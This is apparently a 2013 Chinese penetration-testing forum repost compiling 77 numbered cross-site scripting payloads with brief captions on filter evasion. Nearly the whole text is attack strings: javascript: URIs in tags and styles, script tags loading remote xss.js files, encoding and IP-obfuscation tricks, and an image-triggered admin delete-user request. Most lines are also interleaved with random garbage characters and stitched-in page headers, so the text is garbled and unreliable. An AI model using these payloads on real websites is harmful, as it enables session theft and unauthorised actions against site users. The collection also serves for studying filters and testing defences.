中国网络渗透测试联盟

标题: XSS攻击汇总 [打印本页]

作者: admin    时间: 2013-4-19 19:22
标题: XSS攻击汇总
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
: |, [: _  ~2 p* s2 Q(1)普通的XSS JavaScript注入
: b+ b) n: P/ E: p& S. C" N* q$ m<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
4 I* `: i9 J  E$ d(2)IMG标签XSS使用JavaScript命令! s& u- _9 g( n3 g& z- @: t
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
9 X) k- f' P, Z(3)IMG标签无分号无引号7 J4 M5 I) X! t; b; h
<IMG SRC=javascript:alert(‘XSS’)>
2 @5 l1 k: R8 b  @(4)IMG标签大小写不敏感* C  F) O; Q1 s4 u7 t
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
3 p7 u7 s; t1 T: N8 H* ]$ R(5)HTML编码(必须有分号)# k# o) u7 X! ~, S
<IMG SRC=javascript:alert(“XSS”)>& z( g/ \, W; H- K' N  G' ^
(6)修正缺陷IMG标签
7 B" s& l6 g% \: B6 e9 D* j6 U<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
8 S, G" y! h( @3 R8 Y1 F$ [2 @2 p5 p. O

9 Q9 M3 S" I* Z8 |2 h1 _(7)formCharCode标签(计算器)
& ]0 T& ?) e! a3 c+ u* y% P<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))># U* t0 |5 u# n9 X
(8)UTF-8的Unicode编码(计算器)
" _" T. g# @0 P4 b<IMG SRC=jav..省略..S')>- D. B) C( h( E1 D0 Y
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)' U) j+ K$ I/ y6 I
<IMG SRC=jav..省略..S')>+ \! w1 T, l' }0 Z* d4 q( c
(10)十六进制编码也是没有分号(计算器)
7 e& N2 ^$ J1 G: S6 @<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
+ E' M2 o0 f0 N1 [(11)嵌入式标签,将Javascript分开: @* k/ k9 O7 A; g8 {3 m8 a
<IMG SRC=”jav ascript:alert(‘XSS’);”>
; M% p  [9 z. \: E$ i: [- X(12)嵌入式编码标签,将Javascript分开
5 U$ A! S& k' z2 G5 r<IMG SRC=”jav ascript:alert(‘XSS’);”>9 @1 O" e# S/ `% |* ]9 ^) @& L' G
(13)嵌入式换行符" b: c: Q+ k7 Q) s' D  o- \
<IMG SRC=”jav ascript:alert(‘XSS’);”>/ J' \; ?; D" o$ ?8 P- \3 F5 s
(14)嵌入式回车
. S1 a* C. F/ J, w5 p2 g<IMG SRC=”jav ascript:alert(‘XSS’);”>
2 P% V' w9 \, k+ z; \/ X; ~- E(15)嵌入式多行注入JavaScript,这是XSS极端的例子% H: k( k0 O- P/ n1 A+ R9 F$ U
<IMG SRC=”javascript:alert(‘XSS‘)”>
1 D: i9 Y# J# G7 K& D4 T(16)解决限制字符(要求同页面), B2 a$ T( k8 R$ M. T% `
<script>z=’document.’</script>+ {, Q8 e0 y  i& {! {4 @
<script>z=z+’write(“‘</script>: E2 ]8 L) {  P0 B
<script>z=z+’<script’</script>
  h4 w9 Z. ~: q5 x0 n0 A! P<script>z=z+’ src=ht’</script>
, I. |3 w: N  k9 K' V5 h2 I' i8 I0 q<script>z=z+’tp://ww’</script>
) a2 B8 G' `. S" I9 d$ j<script>z=z+’w.shell’</script>
) v( l' b6 M, w. z1 ]% l<script>z=z+’.net/1.’</script>4 B. ^) j  X! d
<script>z=z+’js></sc’</script>* O2 @6 k& ~, w/ ~7 {! Q2 [5 T, U
<script>z=z+’ript>”)’</script>, Y7 t4 ?5 y+ q1 O( [
<script>eval_r(z)</script>! \# U  R- W1 w4 ]3 V+ g
(17)空字符12-7-1 T00LS - Powered by Discuz! Board, P- h4 r/ B& l
https://www.t00ls.net/viewthread ... table&tid=15267 2/6
" _. B; O& D% a& Nperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
3 A3 S: V- w2 e) ?' Y(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
2 J( N$ ?5 p* k2 l- B: tperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
% L+ H4 ^6 ]' k, ](19)Spaces和meta前的IMG标签
, C: n- {) S) M( b<IMG SRC=” javascript:alert(‘XSS’);”>/ n  p7 {& x( W5 U3 ?
(20)Non-alpha-non-digit XSS5 p" A, S8 `' G2 _0 e4 {( A! K
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
/ G& d  v1 Z2 ~/ k' E(21)Non-alpha-non-digit XSS to 2
1 x* M7 m6 m3 N0 k8 g<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
" B, U$ f- @  z0 O(22)Non-alpha-non-digit XSS to 3
1 ?& w" u0 T0 p  U$ f+ I<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>4 i/ H: u  q5 R- `! y
(23)双开括号+ m6 u1 i0 i5 Y0 p- p/ t5 `3 S+ O& l
<<SCRIPT>alert(“XSS”);//<</SCRIPT>( e" m$ V7 c, R# D
(24)无结束脚本标记(仅火狐等浏览器)
. ~; E# \1 B0 H/ S: n! C<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
/ |% \( k' k5 V( z8 ](25)无结束脚本标记28 M* |+ k- ~' D; c0 V# l
<SCRIPT SRC=//3w.org/XSS/xss.js>
0 f' V' a& z& ~$ m" ]) v5 P(26)半开的HTML/JavaScript XSS
/ q$ W  u; O, i/ r6 {<IMG SRC=”javascript:alert(‘XSS’)”
% C! N' |4 Q" F' v3 Y7 W(27)双开角括号3 t% |+ L! Q$ Z$ S+ x4 W' X/ S3 S
<iframe src=http://3w.org/XSS.html <
) S' c4 C) s, v& Z(28)无单引号 双引号 分号9 b0 p' t: E- m' k6 D
<SCRIPT>a=/XSS/. ~8 \! u0 _- G, P1 I  j1 O
alert(a.source)</SCRIPT>
* Y/ |* A9 ?, x( I& \" z& a(29)换码过滤的JavaScript# l! [5 O' @2 ~' z7 @1 {; \5 m
\”;alert(‘XSS’);//
) n8 b7 w7 e6 |% t# z8 Z" A0 T(30)结束Title标签: c, _3 \5 A% l6 [. D
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
* Y! l8 v) f; B- Q8 Z* i2 T  W(31)Input Image9 h- Z8 p* A0 Z, E3 r6 h) Y) g
<INPUT SRC=”javascript:alert(‘XSS’);”>% z  J& _5 O* G1 o  D2 t8 ^8 ^
(32)BODY Image
9 X( D  V% B* B) w, B% r<BODY BACKGROUND=”javascript:alert(‘XSS’)”>$ p5 m, W! I* F" F5 a
(33)BODY标签0 D: K, U. W6 t% V
<BODY(‘XSS’)>" L- h& S2 b; \
(34)IMG Dynsrc
6 |0 C# n: J5 F! L# G# J- @# s/ }3 j<IMG DYNSRC=”javascript:alert(‘XSS’)”>6 L3 M6 Z3 D3 h1 @
(35)IMG Lowsrc
- a( e' R- u+ o& c, e<IMG LOWSRC=”javascript:alert(‘XSS’)”>8 m$ ?! w( @! t* Q
(36)BGSOUND7 M1 a( I. e, J8 B; p7 M' [
<BGSOUND SRC=”javascript:alert(‘XSS’);”>! \4 J! P  i, t7 r# G
(37)STYLE sheet3 O0 z  ]# V( g5 I) S- n# G
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>; B1 C9 \9 z" l4 I
(38)远程样式表
6 e% U. G. [1 E& u7 r8 [<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
/ m. ?0 k6 ?% u, S" U(39)List-style-image(列表式)+ V0 X# Y$ ?- X, y& Y
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS) X5 i, v5 e& B6 n% W1 V2 d8 s4 C
(40)IMG VBscript
, @6 h5 K+ I7 t* q# K' W, k0 O+ t<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS1 W8 ~5 B; w3 B. R
(41)META链接url7 W: ^) W8 o' I2 ?, s

+ c& |: d# A! h, W. q0 d
% r( G* I" P; W& z( l<META HTTP-EQUIV=”refresh” CONTENT=”0;$ ]8 c/ ], G8 T
URL=http://;URL=javascript:alert(‘XSS’);”>
- ]$ `( W" h' z4 s3 o: r+ \& @5 f(42)Iframe
3 U6 ?2 H6 O6 y<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>/ H+ Y' c- t  d0 a) T$ [* P
(43)Frame" q) m2 l. _# l. S8 p
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
* k6 `" t( V3 {7 Z2 l, P+ I) Uhttps://www.t00ls.net/viewthread ... table&tid=15267 3/67 @" V7 h& b8 J8 j/ ^
(44)Table
3 Y1 A4 s5 g+ J  a) X7 D7 y<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
, \1 A& @" |1 U! y(45)TD
' I+ F+ m9 X  {0 {% n<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>6 S5 D8 b  @+ E+ T1 l0 }2 _
(46)DIV background-image
. S* `4 w( i- f, `& p9 {3 Z; B<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
  }9 j- o* T; a7 A4 q  \$ ~(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-1 B) T7 E2 U. Q' W
8&13&12288&65279). |+ M: U0 b# k+ [" H3 J, }2 I
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
1 B+ X/ u" m" I3 B(48)DIV expression
$ ~! ?7 n  f2 i7 K<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
- ?( I. t6 S' N# E" t* g, R' M, R- Z(49)STYLE属性分拆表达* V7 z0 ?+ g5 M& o: A0 ^) \. f
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
: B! B+ p5 L6 Q1 w% f(50)匿名STYLE(组成:开角号和一个字母开头)) }  F- c+ {% v' ]
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
3 R7 N. Y5 k4 b: E# B& \9 q6 {(51)STYLE background-image+ f; l! P) N' `$ v# e
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
) f+ n$ p. d. K0 [$ X  ^8 |CLASS=XSS></A>0 O% A& M- ~. R/ ~: c
(52)IMG STYLE方式
& o1 h9 r% ?+ I+ b7 t& {+ n) Vexppression(alert(“XSS”))’>
% b  v- M, o" t6 G  m1 Y(53)STYLE background
: u% K; D# v" V<STYLE><STYLE
0 n% r  w/ h) ntype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>4 G) M: n! r* X7 v+ Q
(54)BASE2 Z8 ]+ X' c0 D9 h3 D, c1 g
<BASE HREF=”javascript:alert(‘XSS’);//”>9 t# ~  g# S% ?+ h
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
/ ~4 i* ?, H. Q- j) U<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
6 L7 J; E) t- F  {(56)在flash中使用ActionScrpt可以混进你XSS的代码
1 s5 G% q2 }1 K6 w' i- {a=”get”;
4 r5 s  f9 G7 h4 s9 K* U! bb=”URL(\”";
5 ^& k( z) j& `4 nc=”javascript:”;3 A/ @. u; @' y% l6 Q0 T
d=”alert(‘XSS’);\”)”;
! ]* E& ?3 r( R+ [# ~: Eeval_r(a+b+c+d);% J7 B- o  {$ O; Q+ R1 T& O( y, o
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
& u0 J4 Y1 s. B; Y<HTML xmlns:xss>' R- C' f" W. c' o
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>. r  R+ A. S! |: A# m9 e. E% U: U: {1 K
<xss:xss>XSS</xss:xss>8 N* T2 i7 J* b2 _
</HTML>
" L+ ?6 g0 x3 q  w- ?/ M4 i(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
6 i1 n8 U; E3 C4 l<SCRIPT SRC=””></SCRIPT>" W/ ?) h; Z/ B  S
(59)IMG嵌入式命令,可执行任意命令0 ?2 u! p. ~3 y% [3 _! f+ _# n% v
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
8 U* }# t6 S, K) X# M5 q2 B(60)IMG嵌入式命令(a.jpg在同服务器)9 B0 ?& N5 v# e( E
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser, K$ |! u3 R& L6 a1 _8 R5 n" ]% _
(61)绕符号过滤
( S* C; @: r7 v  u<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT># L2 i* ~+ {6 r
(62)& ^9 w$ A5 K  q3 d  N
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>0 n' o3 N. F8 s/ `; f
(63)2 d3 W1 T9 I5 m1 g( C
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>' A. i! }6 n. A+ T0 c4 h/ s1 |
(64)
3 x2 r3 w4 Z- H- k1 l<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
/ R3 J8 B1 c4 p! i/ S2 ?(65)
9 B7 {6 t* C+ J2 d6 ]( y; m<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
; B) A: n1 V5 c% Q(66)12-7-1 T00LS - Powered by Discuz! Board8 ]* D* W5 C) l
https://www.t00ls.net/viewthread ... table&tid=15267 4/6% u1 M" N9 f; x9 R6 p
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
/ f0 j, t/ j2 o9 F! W" ^(67)
4 L- Y' z) {1 z<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”>
. t8 N, i' g: a$ j' c; y* l7 V% a</SCRIPT>. x+ X" _+ n8 g0 t
(68)URL绕行
6 u: I7 G* z& l<A HREF=”http://127.0.0.1/”>XSS</A>8 e! B  O3 u. k& x
(69)URL编码& C9 x, h2 }& k$ |- E
<A HREF=”http://3w.org”>XSS</A>
( h! I) |; w; R1 M(70)IP十进制6 G' r( _' ^9 q9 W7 {5 q
<A HREF=”http://3232235521″>XSS</A>
' G9 k; E2 [" _7 n; }/ p% Y(71)IP十六进制4 P2 y# {2 j4 x2 F7 x; l1 C
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>& k# p% V/ d: `1 E& z
(72)IP八进制
& ~5 n% O7 f+ s4 a! ]& b+ q<A HREF=”http://0300.0250.0000.0001″>XSS</A>  c# n+ k8 H2 k) H2 D6 t
(73)混合编码6 f2 j/ Y9 L; Q$ _
<A HREF=”h
5 }: v3 c# Q5 T+ v6 ftt p://6 6.000146.0×7.147/”">XSS</A>
4 W. k+ E5 \% S$ {9 ?$ u(74)节省[http:]9 {$ _2 M' U2 j& a
<A HREF=”//www.google.com/”>XSS</A>  Q3 b8 x' c8 R6 \' M
(75)节省[www]
: ]3 A# p. @' T<A HREF=”http://google.com/”>XSS</A>: a; t1 l  L/ T9 V6 l! `  O
(76)绝对点绝对DNS
# Y4 K1 w2 p2 _% {; X8 v( B, g<A HREF=”http://www.google.com./”>XSS</A>/ j# L$ Q8 \) U
(77)javascript链接
. N7 @4 L) K* q2 q3 o: m1 ^<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>. [  O3 v4 D6 i* m( B

$ F' W* C8 Y% m. {- L2 K, Y, n原文地址:http://fuzzexp.org/u/0day/?p=14
4 @' t# W8 O% ^  l- t/ `5 S
4 [9 g! @, J% t4 A; Z" J& a




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2